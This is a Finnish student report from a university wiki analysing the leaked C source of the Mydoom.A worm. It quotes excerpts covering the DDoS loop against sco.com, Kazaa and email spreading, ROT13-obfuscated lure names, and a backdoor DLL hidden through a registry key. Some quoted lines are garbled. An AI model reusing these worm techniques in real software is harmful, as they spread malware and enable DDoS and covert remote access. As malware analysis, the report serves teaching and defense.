You are here: TUTWiki>Tietoturva/Tutkielmat>TyoLuettelo?>2006-10

Timo Hirvonen

Mydoom.A:n lähdekoodin tarkastelua ja katsaus muihin variantteihin

Johdanto

Tämän tutkielman tarkoituksena on tarkastella Mydoom.A-madon lähdekoodia ja tutustua lyhyesti myös muihin merkittävimpiin variantteihin. Tarkastelun kohteeksi valittiin Mydoom, koska sen A-variantin C-kielinen lähdekoodi löytyy Internetistä [1]. Valintaa tuki myös ajankohtaisuus, sillä vuoden 2004 alussa julkaistun madon M-variantti oli marraskuun 2006 alussa F-Securen tietoturvakeskuksen mukaan kuukauden eniten hälytyksiä aiheuttanut virus [4].

Mydoom.A

Tässä luvussa käsitellään Mydoom.A:n toiminnallisuutta, leviämistä ja takaovea sekä yleisellä että lähdekooditasolla.

Toiminnallisuus

Mydoom.A:n tarkoituksena on ylikuormittaa sco.com:n palvelin aiheuttamalla hajautettu palvelunestohyökkäys (DDoS). Tämä on toteuttu lähettämällä yksinkertainen HTTP-pyyntö saastuneelta koneelta noin sekunnin välein. DDoS aktivoituu 1.2.2004 ja madon toiminta lakkaa 12.2.2004. [5]

DDoS on toteuttu pääosin kahdessa tiedostossa: main.c [9] ja sco.c [14]. Tiedostossa main.c funktio WinMain kutsuu funktio sync_main, joka edelleen kutsuu payload_sco:

174: void payload_sco(struct sync_t *sync)
175: {
176:      FILETIME ft_cur, ft_final;
177:
178: /* What's the bug about "75% failures"? */
179:
180:      GetSystemTimeAsFileTime(&ft_cur);
181:      SystemTimeToFileTime(&sync->sco_date, &ft_final);
182:  if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
183:  if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;
184:
185:
186: /* here is another bug.
187:    actually, the idea was to create a new thread and return; */
188:
189:  for (;;) {
190:        scodos_main();
191:        Sleep(1024);
192:  }
193: }

Rivillä 190 kutsutaan funktiota sco_main, joka luo palvelunestohyökkäyksen toteuttavat säikeet. Rivillä 191 toteutaan aiemmin mainittu noin sekunnin (1024 ms) viive. Rivien 186-187 kommentteihin palataan vielä myöhemmin. Tarkastellaan seuraavaksi funktiota scodos_main:

093: void scodos_main(void)
094: {
095:
  struct hostent *h;
096:
  struct sockaddr_in addr;
097:  int i;
098:  unsigned long tid;
099:  char buf [128];
100:
101:      rot13(buf, SCO_SITE_ROT13);
102:
103:  for (;;) {
104:        while (is_online() == 0)
105:              Sleep(32768);
106:
107:        h = gethostbyname(buf);
108:        if (h == NULL) {
109:              Sleep(32768);
110:              continue;
111:        }
112:        memset(&addr, '\0', sizeof(addr));
113:        addr.sin_family = AF_INET;
114:        addr.sin_addr = *(struct in_addr *)h->h_addr_list [0];
115:        addr.sin_port = htons(SCO_PORT);
116:        break;
117:  }
118:
119:  for (i=1; i<SCODOS_THREADS; i++)
120:        CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);
121:      scodos_th(&addr);
122: }

Rivillä 101 avataan vakion SCO_SITE_ROT13 ROT13-koodaus. Näin merkkijono "jjj.fpb.pbz" saadaan muotoon "www.sco.com". Kaikki Mydoom.A:n kriittiset merkkijonot on ROT13-koodattu viruksen tunnistamisen ja analysoinnin vaikeuttamiseksi. Rivien 103-117 for-silmukassa tutkitaan, onko kone yhteydessä Internetiin ja yritetään selvittää www.sco.com:n IP-osoite. Mikäli tämä onnistuu, luodaan SCODOS_THREADS –vakion verran (64) scodos_th –säikeitä:

62: static DWORD _stdcall scodos_th(LPVOID pv)
63: {
64:   struct sockaddr_in addr;
65:   char buf [512];
66:   int sock;
67:
68:      rot13(buf,
69:         /*
70:         * "GET / HTTP/1.1\r\n"
71:         * "Host: www.sco.com\r\n"
72:         * "\r\n";
73:         */
74:         "TRG / UGGC/1.1\r\n"
75:         "Ubfg: " SCO_SITE_ROT13 "\r\n"
76:         "\r\n");
77:
78:      SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
79:   if (pv == NULL) goto ex;
80:   addr = *(struct sockaddr_in *)pv;
81:   for (;;) {
82:         sock = connect_tv(&addr, 8);
83:         if (sock = 0) {
84:               send(sock, buf, lstrlen(buf), 0);
85:               Sleep(300);
86:               closesocket(sock);
87:         }
88:   }
89: ex:      ExitThread(0);
90:   return 0;
91: }

Riveillä 74-76 nähdään ROT13-koodattu HTTP-pyyntö, jonka Mydoom.A lähettää. Riveillä 70-72 on sama pyyntö selkokielisenä. Syy main.c –tiedoston kommenttiin bugista löytyy tarkastelemalla rivien 81-88 for-silmukkaa: se lähettää HTTP-pyynnön 300 ms välein eikä silmukasta poistuta koskaan. Näin ollen main.c –tiedostossa oleva scodos_main –funktion kutsu luo 1024 ms välein 64 uutta säiettä aiempien jatkaessa edelleen toimintaansa.

Leviäminen

Mydoom.A leviää sekä sähköpostitse että vertaisverkossa. Sähköpostiosoitteita se etsii Windowsin osoitekirjasta ja tietyn tiedostopäätteen omaavista tiedostoista. Vertaisverkossa ohjelma leviää kopioimalla itsensä Kazaa-ohjelmalla jaettuun kansioon käyttäen houkuttelevaa tiedostonimeä. [5]

Vertaisverkossa leviämisen toteutus on melko yksinkertainen: tarvitaan vain funktiot p2p_spread ja kazaa_spread tiedostosta p2p.c [12]. Funktiossa sync_main rivillä 262 kutsutaan funktiota p2p_spread, joka selvittää madon käyttämän tiedostonimen ja antaa tämän parametrina funktiolle kazaa_spread. Jaettavan tiedoston nimi arvotaan seuraavasta ROT13-koodatusta taulukosta.

09: char *kazaa_names [ ] = {
10:    "jvanzc5",
11:    "vpd2004-svany",
12:    "npgvingvba_penpx",
13:    "fgevc-tvey-2.0o"      /* missed comma in the original version */
14:    "qpbz_cngpurf",
15:    "ebbgxvgKC",
16:    "bssvpr_penpx",
17:    "ahxr2004"
18: };

Tiedostopääte valitaan seuraavalla switch-lauseella, jossa analysointia on vaikeutettu pilkkomalla kaikki tiedostopäätteet kahteen osaan:

45:      switch (xrand16() % 6) {
46:            case 0: case 1: lstrcat(kaza, "ex"); lstrcat(kaza, "e"); break;
47:            case 2: case 3: lstrcat(kaza, "sc"); lstrcat(kaza, "r"); break;
48:            case 4: lstrcat(kaza, "pi"); lstrcat(kaza, "f"); break;
49:            default: lstrcat(kaza, "ba"); lstrcat(kaza, "t"); break;
50:      }

Sähköpostitse leviämisen toteus jakautuu useaan tiedostoon: massmail.c [10] on kaiken keskus; scan.c [13] totettaa funktiot sähköpostiosoitteiden etsimiseksi paikalliselta tietokoneelta; msg.c:n [11] funktiot luovat itse sähköpostiviestin; tiedostoa xdns.c käytetään DNS-kyselyjen tekemiseen; xsmtp.c toteuttaa yksinkertaisen SMTP-palvelimen sähköpostin lähettämiseksi. Tutkielman pituudella asetettujen rajoituksen vuoksi käsitellään sähköpostitse leviämisestä vain F-Securen sivulla [5] annetut tuntomerkit.

Sähköpostiosoitteita etsitään Windowsin osoitekirjasta tiedossa scan.c toteutetussa funktiossa scan_wab. Kun osoite löydetään, se annetaan parametrina funktiolle scan_out, joka lisää sen roskapostittajan jonoon funktiolla massmail_addq. Sähköpostiosoitteita etsitään myös tiedostoista, joiden päätteet käy ilmi seuraavilta scan_dir_file –funktion riveiltä:

235:        if (lstrcmp(file_ext, "txt") == 0) {size_lim=80*1024; break; }
236:        if (xstrncmp(file_ext, "htmb", 3) == 0) break;
237:        if (xstrncmp(file_ext, "shtl", 3) == 0) break;
238:        if (xstrncmp(file_ext, "phpq", 3) == 0) break;
239:        if (xstrncmp(file_ext, "aspd", 3) == 0) break;
240:        if (xstrncmp(file_ext, "dbxn", 3) == 0) break;
241:        if (xstrncmp(file_ext, "tbbg", 3) == 0) { size_lim=1200*1024; break; }
242:        if (xstrncmp(file_ext, "adbh", 3) == 0) break;
243:        if (lstrcmp(file_ext, "pl") == 0) break;

Riveillä 236-242 tiedostopäätteet ovat nelikirjaimisia, mutta xstrncmp:n kolmannen parametrin (3) takia vertaillaan vain kolme merkkiä. Näin saadut tiedostopäätteet on listattu myös F-Securen sivulla [5].

Mydoom.A:n lähettämien viestin aiheet löytyvät ROT13-koodattuna tiedostosta msg.c funktiosta select_subject:

118: subjs [] = {
119:        { 12, "" },
120:        { 35, "grfg" },
121:        { 35, "uv" },
122:        { 35, "uryyb" },
123:        { 8, "Znvy Qryvirel Flfgrz" },
124:        { 8, "Znvy Genafnpgvba Snvyrq" },
125:        { 8, "Freire Ercbeg" },
126:        { 10, "Fgnghf" },
127:        { 10, "Reebe" },
128:        { 0, "" }
129:  };

Kun ROT13-koodaukset avataan, rivien 120-127 aiheet ovat järjestyksessä seuraavat: test, hi, hello, Mail Delivery System, Mail Transaction Failed, Server Report, Status, Error. Sähköpostin sisältö löytyy selväkielisenä funktiosta write_msgtext:

233: texts [] = {
234:        { 20, "" },
235:        { 5, "test" },
236:        { 40, "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment." },
237:        { 40, "The message contains Unicode characters and has been sent as a binary attachment." },
238:        { 20, "Mail transaction failed. Partial message is available." },
239:        { 0, "" }
240:  };

Sähköpostin liitetiedoston nimivaihtoehdot näkyvät ROT13-koodattuna alla olevassa lähdekoodissa. Näistä valitaan yksi funktiossa select_exename.

64: names [] = {
65:         { 30, "qbphzrag" },
66:         { 15, "ernqzr" },
67:         { 15, "qbp" },
68:         { 15, "grkg" },
69:         { 10, "svyr" },
70:         { 10, "qngn" },
71:         { 5, "grfg" },
72:         { 17, "zrffntr" },
73:         { 17, "obql" },
74:         { 0, "" }
75:   };

Rivien 65-73 selkokieliset tiedostonimet ovat järjestyksessä seuraavat: document, readme, doc, text, file, data, test, message, body. Tiedostopääte valitaan seuraavien ROT13-koodattujen vaihtoehtojen joukosta:

79: exts [] = {
80:         { 50, "cvs" },
81:         { 50, "fpe" },
82:         { 15, "rkr" },
83:         { 5, "pzq" },
84:         { 5, "ong" },
85:         { 0, "" }
86:   };

Rivien 80-84 tiedostopäätteet ovat selväkielisinä järjestyksessä seuraavat: pif, scr, exe, cmd, bat.

Takaovi

Mydoom.A asettaa koneelle takaoven, joka kuuntelee ensimmäistä vapaata TCP-porttia väliltä 3127 – 3198. Takaoven avulla hyökkääjä voi lähettää ja käynnistää ohjelmia koneella sekä käyttää konetta TCP-välityspalvelimena. Mydoom.A:n takaovi löytyy tiedostosta shimgapi.dll, joka tallennetaan järjestelmähakemistoon. Virus luo rekisteriavaimen HKCR\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32 arvolla shimgapi.dll, jolloin Explorer lataa tiedoston eikä se näy ollenkaan Tehtävienhallinnassa. [5]

Takaovi on toteuttu pääosin kahdessa tiedostossa: main.c [9] ja xproxy.c [15] . Tiedostossa main.c WinMain kutsuu funktiota sync_main, joka edelleen kutsuu funktiota payload_xproxy:

42: void payload_xproxy(struct sync_t sync)
43: {
44:   char fname [20], fpath [MAX_PATH+20];
45:   HANDLE hFile;
46:   int i;
47:      rot13(fname, "fuvztncv.qyy");   /
"shimgapi.dll" */
48:   sync->xproxy_state = 0;
49:   for (i=0; i<2; i++) {
50:         if (i == 0)
51:               GetSystemDirectory(fpath, sizeof(fpath));
52:         else
53:               GetTempPath(sizeof(fpath), fpath);
54:         if (fpath [0] = 0) continue;
55:         if (fpath [lstrlen(fpath)-1]
'') lstrcat(fpath, "");
56:         lstrcat(fpath, fname);
57:         hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
58:               NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
59:         if (hFile NULL || hFile INVALID_HANDLE_VALUE) {
60:               if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
61:                     continue;
62:               sync->xproxy_state = 2;
63:               lstrcpy(sync->xproxy_path, fpath);
64:               break;
65:         }
66:         decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
67:         CloseHandle(hFile);
68:         sync->xproxy_state = 1;
69:         lstrcpy(sync->xproxy_path, fpath);
70:         break;
71:   }
72:
73:   if (sync->xproxy_state == 1) {
74:         LoadLibrary(sync->xproxy_path);
75:         sync->xproxy_state = 2;
76:   }
77: }

Rivillä 17 on ROT13-koodattuna tiedostonimi shimgapi.dll, johon takaovi asennetaan.  Rivien 49-71 for-silmukassa MyDoom.A tämä tiedosto yritetään asentaa järjestelmäkansioon (rivi 51). Mikäli tämä ei onnistuu, yritetään tilapäistiedostoille tarkoitettua kansiota (rivi 53). Rivillä 66 kutsutaan main.c –tiedostossa [9] olevaa decrypt1_to_file –funktiota, joka purkaa parametrina annetusta datasta yksinkertaisen XOR-pohjaisen kryptauksen ja tallentaa sen tiedostoon, joka siis tässä tapauksessa on shimgapi.dll. Mikäli tiedoston tallentaminen onnistuu eikä sitä oltu luotu jo aiemmin (rivit 62-64), ladataan shimgapi.dll ja kutsutaan DllMain –funktiota tiedostosta xproxy.c [15]. DllMain luo säikeen xproxy_th:

346: DWORD _stdcall xproxy_th(LPVOID pv)
347: {
348:  int port;
349:      regsvc9x();
350:      wsainit();
351:      shellsvc_attach();
352:
353: /* actually, this piece of code will try ports 3127 - 3199 */
354:
355:  for (port=3127;;port++) {
356:        socks4_main(port, 3);
357:        Sleep(1024);
358:        if (port > 3198) {
359:              Sleep(2048);
360:              port = 3127;
361:        }
362:  }
363: }

Rivillä 349 kutsutaan funktiota regsvc9x, joka rekisteröi DLL:n itsensä palveluksi Windows 95/98/Me -käyttöjärjestelmissä. Rivillä 351 kutsutaan funktiota shellsvc_attach, johon palataan myöhemmin. Rivien 355-362 for-silmukka määrittää vapaat portit, joita takaovi voi kuunnella. Kuten koodista ja rivin 353 kommentista näkyy, portit valitaan väliltä 3127-3199 eikä 3127-3199, kuten F-Securen kuvauksessa [5] sanotaan.

Palataan vielä funktioon shellsvc. Alla olevassa otteessa lähdekoodista näkyy rivillä 342 ROT13-koodattuna rekisteriavain CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InprocServer32. Tämän arvoksi asetetaan rivillä 343 DLL:n tiedostopolku, jottei prosessi näkyisi Tehtävienhallinnassa.

342:      rot13(tmp, "PYFVQ\{R6SO5R20-QR35-11PS-9P87-00NN005127RQ}\VacebpFreire32");
343:      reg_setval(HKEY_CLASSES_ROOT, tmp, NULL, dllpath);

Lyhyesti Mydoomin merkittävimmistä varianteista

F-Secure listaa kotisivuillaan 37 eri varianttia Mydoom-viruksesta [5]. Tässä luvussa käsiteltäviksi on valittu niistä kolme: Mydoomin eliniän ja suosion kannalta merkittävä C-variantti, nykyhetkellä yleisin BB-variantti sekä tulevaisuuden kannalta merkittävä O-variantti.

Mydoom.C, joka tunnetaan myös nimellä Doomjuice, löydettiin helmikuussa 2004. Se tarttuu koneisin, joissa on jo ennestään Mydoom.A ja yrittää DDoS-hyökkästä microsoft.com –verkkosivustoa vastaan. Mydoom.C myös pudottaa koneelle Mydoom.A:n C-kielisen lähdekoodin. [7] Tämä on ollut epäilemättä merkittävä syy Mydoom-varianttien runsauteen. Valmiin lähdekoodin avulla madon varioiminen on hyvin yksinkertaista. Vuoden 2004 alussa julkaistun madon jokin variantti on hyvin todennäköisesti virushälytys tilastojen kärjessä vielä vuoden 2007 alusssa.

Mydoom.BB ilmestyi helmikuussa 2005. Kuten aikaisemmatkin variantit, se leviää sähköpostin välityksellä. [6] Variantti on merkittävä, koska F-Securen mukaan se aiheutti eniten virushälytyksiä marraskuussa 2006 [4]. Tämä on selvä merkki siitä, että Mydoom on edelleen voimissaan. Liitetiedoston avaaminen on välttämätön, mutta riittävä ehto Mydoom.BB:n leviämiselle. Tässä saattaa piillä eräs Mydoomin vahvuuksista: mato ei nojaa mihinkään tiettyyn haavoittuvuuteen vaan luottaa siihen, että ihminen on tietoturvan heikoin lenkki.

Joulukuun 2006 alussa Digitoday uutisoi, että tietoturvayhtiö oli havainnut, että Mydoomin O-variantti pystyy saastuttamaan Windows Vista –käyttöjärjestelmää käyttäviä tietokoneita [2]. Kyseisessä variantissa sinänsä ei ole mitään erikoista muihin verrattuna, mutta Sophoksen havainto vaikuttaa pidentävän Mydoomin elinaikaa entisestään.

Mydoom nykyään

Mydoom on hävinnyt melkein kokonaan viruskartalta, koska uusia variantteja ei ole näkynyt ja kaikki nykyaikaiset virustorjuntaohjelmistot osaavat sekä torjua vanhojen varianttien toiminnan että poistaa ne kokonaan järjestelmästä. Tästä huolimatta uusin Mydoomiin liittyvä hyökkäys on kuitenkin heinäkuulta 2009, jolloin suuri, n. 50000 koneesta koostuva bottiverkko hyökkäsi Valkoisen talon, Homeland Securityn sekä muutaman muun Yhdysvalloissa toimivan järjestön tietoverkkoihin käyttäen palvelunestohyökkäystä [16]. Asiantuntijoiden mukaan hyökkäysten apuna käytettiin mm. juuri Mydoom-virusta lataamaan hyökkäykseen tarvittavat komponentit kohdekoneelle.

Lähteet

  • [1] 62NDS Solutions Ltd [http://62nds.com/62nds/documents/mydoom] (viitattu 5.11.2006)
  • [2] Digitoday [http://www.digitoday.fi/page.php?page_id=14&news_id=200622368], viitattu (13.12.2006)
  • [3] F-Securen tietoturvasanasto [http://www.f-secure.fi/tietoturvakeskus/tietoturvasanasto.html] (viitattu 20.11.2006)
  • [4] F-Securen virushälytykset [http://www.f-secure.fi/tietoturvakeskus/virushalytykset.html] (viitattu 5.11.2006)
  • [5] F-Securen viruskuvaus Mydoom.A-madosta [http://www.f-secure.com/v-kuvaus/novarg.shtml] (viitattu 20.11.2006)
  • [6] F-Securen viruskuvaus Mydoom.BB-madosta [http://www.f-secure.com/v-descs/mydoom_bb.shtml] (viitattu 13.12.2006)
  • [7] F-Securen viruskuvaus Mydoom.C-madosta [http://www.f-secure.com/v-descs/doomjuice.shtml] (viitattu 13.12.2006)
  • [8] F-Securen viruskuvaukset m-kirjaimella alkavista [http://www.f-secure.com/v-descs/m.shtml] (viitattu 13.12.2006)
  • [9] main.c [http://62nds.com/62nds/documents/mydoom/main.c] (viitattu 20.11.2006)
  • [10] massmail.c [http://62nds.com/62nds/documents/mydoom/massmail.c] (viitattu 20.11.2006)
  • [11] msg.c [http://62nds.com/62nds/documents/mydoom/msg.c] (viitattu 20.11.2006)
  • [12] p2p.c [http://62nds.com/62nds/documents/mydoom/p2p.c] (viitattu 20.11.2006)
  • [13] scan.c [http://62nds.com/62nds/documents/mydoom/scan.c] (viitattu 20.11.2006)
  • [14] sco.c [http://62nds.com/62nds/documents/mydoom/sco.c] (viitattu 20.11.2006)
  • [15] xproxy.c [http://62nds.com/62nds/documents/xproxy/xproxy.c] (viitattu 13.12.2006)
  • [16] Wired [http://www.wired.com/threatlevel/2009/07/mydoom/] (viitattu 16.11.2009)

Print version |  PDF  | History: r3 < r2 < r1 | 
Topic revision: r3 - 16 Nov 2009 - 23:57:54 - NikoHeikura?
 

TUTWiki

Copyright © by the contributing authors. All material on this collaboration platform is the property of the contributing authors.
Ideas, requests, problems regarding TUTWiki? Send feedback